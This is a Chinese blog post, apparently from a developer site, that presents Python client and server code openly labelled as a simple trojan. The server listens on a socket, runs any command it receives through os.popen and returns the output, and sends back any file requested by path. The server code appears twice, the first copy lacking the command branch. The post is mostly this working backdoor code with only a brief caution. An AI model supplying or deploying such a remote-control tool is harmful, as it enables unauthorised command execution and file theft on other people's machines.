用python做一个木马_python实现一个简单木马!

本文介绍了如何使用Python编写一个简单的木马程序,包括客户端和服务器端的代码实现。通过Socket进行通信,客户端能接收用户命令,服务器端接收到命令后执行并返回结果或文件。请注意,此类程序涉及网络安全问题,应谨慎操作。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一个简单的木马程序

绝大多数的木马程序都是基于Socket来实现的

废话少说直接上代码!

代码:

client部分:

# -*- coding: UTF-8 -*-

import socket

import sys

import re

import os

class Client:

def __init__(self, serverIp, serverPort):

self.serverIp = serverIp # 待连接的远程主机的域名

self.serverPort = serverPort

self.bufferSize = 10240

def connet(self): # 连接方法

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

except socket.error as e:

print("Failed to create socket. Error: %s" % e)

try:

s.connect((self.serverIp, self.serverPort))

while True:

message = input('> ') # 接收用户输入

if not message:

break

s.send(bytes(message, 'utf-8')) # 发送命令

data = s.recv(self.bufferSize) # 接收数据

if not data:

break

if re.search("^0001", data.decode('utf-8', 'ignore')): # 判断数据类型

print(data.decode('utf-8')[4:])

else: # 文件内容处理

s.send("File size received".encode()) # 通知服务端可以发送文件了

file_total_size = int(data.decode()) # 总大小

received_size = 0

f = open("new" + os.path.split(message)[-1], "wb") # 创建文件

while received_size < file_total_size:

data = s.recv(self.bufferSize)

f.write(data) # 写文件

received_size += len(data) # 累加接收长度

print("已接收:", received_size)

f.close() # 关闭文件

print("receive done", file_total_size, " ", received_size)

except socket.error:

s.close()

raise # 退出进程

finally:

s.close()

if __name__ == '__main__':

cl = Client('127.0.0.1', 8800)

cl.connet()

sys.exit() # 退出进程

server部分:

# -*- coding: UTF-8 -*-

import socket

import sys

import os

class server:

def __init__(self, ip, port):

self.port = port

self.ip = ip

self.bufferSize = 10240

def start(self):  # 启动监听,接收数据

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.bind((self.ip, self.port))  # 绑定

s.listen(10)  # 监听

print('等待客户端连接')

while True:  # 一直等待新的连接

try:

conn, addr = s.accept()  # 接收连接

print('客户端连接 ' + addr[0] + ':' + str(addr[1]))

while True:  # 保持长连接

data = conn.recv(self.bufferSize)#接收数据

if not data:#断开连接时退出当前循环

break

else:

self.executeCommand(conn,data)

conn.close()#关闭当前连接

except socket.error as e:

print(e)

conn.close()  # 关闭连接

finally:

s.close()  # 关闭服务端

def executeCommand(self, tcpCliSock, data):  # 解析并执行命令

try:#

message = data.decode("utf-8")

if os.path.isfile(message):#判断是否是文件

filesize = str(os.path.getsize(message))#获取文件大小

print("文件大小为:",filesize)

tcpCliSock.send(filesize.encode())#发送文件大小

data = tcpCliSock.recv(self.bufferSize)

print("开始发送")

f = open(message, "rb")#打开文件

for line in f:

tcpCliSock.send(line)#发送文件内容

except:

raise

if __name__ == '__main__':

s = server('', 8800)

s.start()

# -*- coding: UTF-8 -*-

import socket

import sys

import os

class server:

def __init__(self, ip, port):

self.port = port

self.ip = ip

self.bufferSize = 10240

def start(self): # 启动监听,接收数据

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

s.bind((self.ip, self.port)) # 绑定

s.listen(10) # 监听

print('等待客户端连接')

while True: # 一直等待新的连接

try:

conn, addr = s.accept() # 接收连接

print('客户端连接 ' + addr[0] + ':' + str(addr[1]))

while True: # 不知道客户端发送数据大小,循环接收

data = conn.recv(self.bufferSize)

if not data:

break

else:

self.executeCommand(conn,data)

conn.close()

except socket.error as e:

print(e)

conn.close() # 关闭连接

finally:

s.close() # 关闭服务端

def executeCommand(self, tcpCliSock, data): # 解析并执行命令

try:#

message = data.decode("utf-8")

if os.path.isfile(message):#判断是否是文件

filesize = str(os.path.getsize(message))#获取文件大小

print("文件大小为:",filesize)

tcpCliSock.send(filesize.encode())#发送文件大小

data = tcpCliSock.recv(self.bufferSize)

print("开始发送")

f = open(message, "rb")#打开文件

for line in f:

tcpCliSock.send(line)#发送文件内容

else:

tcpCliSock.send(('0001'+os.popen(message).read()).encode('utf-8'))

except:

raise

if __name__ == '__main__':

s = server('', 8800)

s.start()

执行效果:

提醒一下,以上是linux下的方式

如果使用的是windows得解释器:

命令如下

其余同上!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值